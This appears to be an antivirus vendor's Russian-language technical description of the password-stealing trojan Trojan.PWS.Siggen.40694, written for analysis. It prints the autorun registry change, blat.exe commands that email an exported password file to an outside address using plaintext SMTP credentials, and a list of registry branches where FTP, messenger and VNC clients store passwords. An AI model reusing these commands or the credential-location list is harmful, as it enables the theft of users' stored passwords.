Trojan.PWS.Siggen.40694

Техническая информация

Для обеспечения автозапуска и распространения:

Модифицирует следующие ключи реестра:

[<HKLM>\SOFTWARE\Classes\mprf\shell\open\command] '' = '%TEMP%\1.tmp\MPR.exe "%1"'

Вредоносные функции:

Создает и запускает на исполнение:

%TEMP%\1.tmp\blat.exe -body PassReg -to in.vk.agent@qip.ru -attach pass.mpf
%TEMP%\1.tmp\MPR.exe /export
%TEMP%\1.tmp\blat.exe -install -server smtp.mail.ru -port 25 -f mpr.fake@mail.ru -u out.vk.agent@mail.ru -pw matrexa2012

Запускает на исполнение:

<SYSTEM32>\ping.exe ya.ru -n 5
<SYSTEM32>\cmd.exe /c ""%TEMP%\1.tmp\setup.bat" "

Ищет ветки реестра, отвечающие за хранение паролей сторонними программами:

[<HKLM>\SOFTWARE\Miranda]
[<HKCU>\Software\South River Technologies\WebDrive\Connections]
[<HKCU>\Software\Microsoft\MSNMessenger]
[<HKCU>\SOFTWARE\Mirabilis\ICQ\NewOwners]
[<HKCU>\Software\Martin Prikryl\WinSCP 2\Sessions]
[<HKCU>\Software\CoffeeCup Software\Internet\Profiles]
[<HKCU>\Software\Sota\FFFTP\Options]
[<HKCU>\Software\FTP Explorer\Profiles]
[<HKCU>\Software\FTPWare\COREFTP\Sites]
[<HKCU>\Software\AIM\AIMPro]
[<HKCU>\Software\Paltalk]
[<HKCU>\Software\ORL\WinVNC3]
[<HKLM>\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Trillian]
[<HKCU>\Software\Google\Google Talk\Accounts]
[<HKCU>\Identities\{5518F2FB-DB74-45A3-BEC1-4575D8D9DC84}\Software\Microsoft\MessengerService]
[<HKCU>\Software\Microsoft\MessengerService]
[<HKCU>\Software\America Online\AIM6\Passwords]
[<HKCU>\Software\Yahoo\Pager]
[<HKCU>\Software\BPFTP]
[<HKCU>\Software\FlashFXP\3]
[<HKLM>\Software\Ghisler\Total Commander]
[<HKLM>\Software\FlashFXP\3]
[<HKCU>\Software\FlashFXP]
[<HKLM>\Software\Ghisler\Windows Commander]
[<HKCU>\SOFTWARE\Far2\Plugins\FTP\Hosts]
[<HKCU>\SOFTWARE\Far\Plugins\FTP\Hosts]
[<HKCU>\Software\Ghisler\Total Commander]
[<HKCU>\Software\Ghisler\Windows Commander]
[<HKCU>\Software\BulletProof Software\BulletProof FTP Client\Main]
[<HKCU>\Software\BPFTP\Bullet Proof FTP\Main]
[<HKCU>\Software\BulletProof Software\BulletProof FTP Client\Options]
[<HKCU>\Software\BPFTP\Bullet Proof FTP\Options]
[<HKLM>\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\FTP Commander Deluxe]
[<HKLM>\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\FTP Commander Pro]
[<HKLM>\Software\FlashFXP]
[<HKLM>\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\FTP Commander]
[<HKLM>\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\FTP Navigator]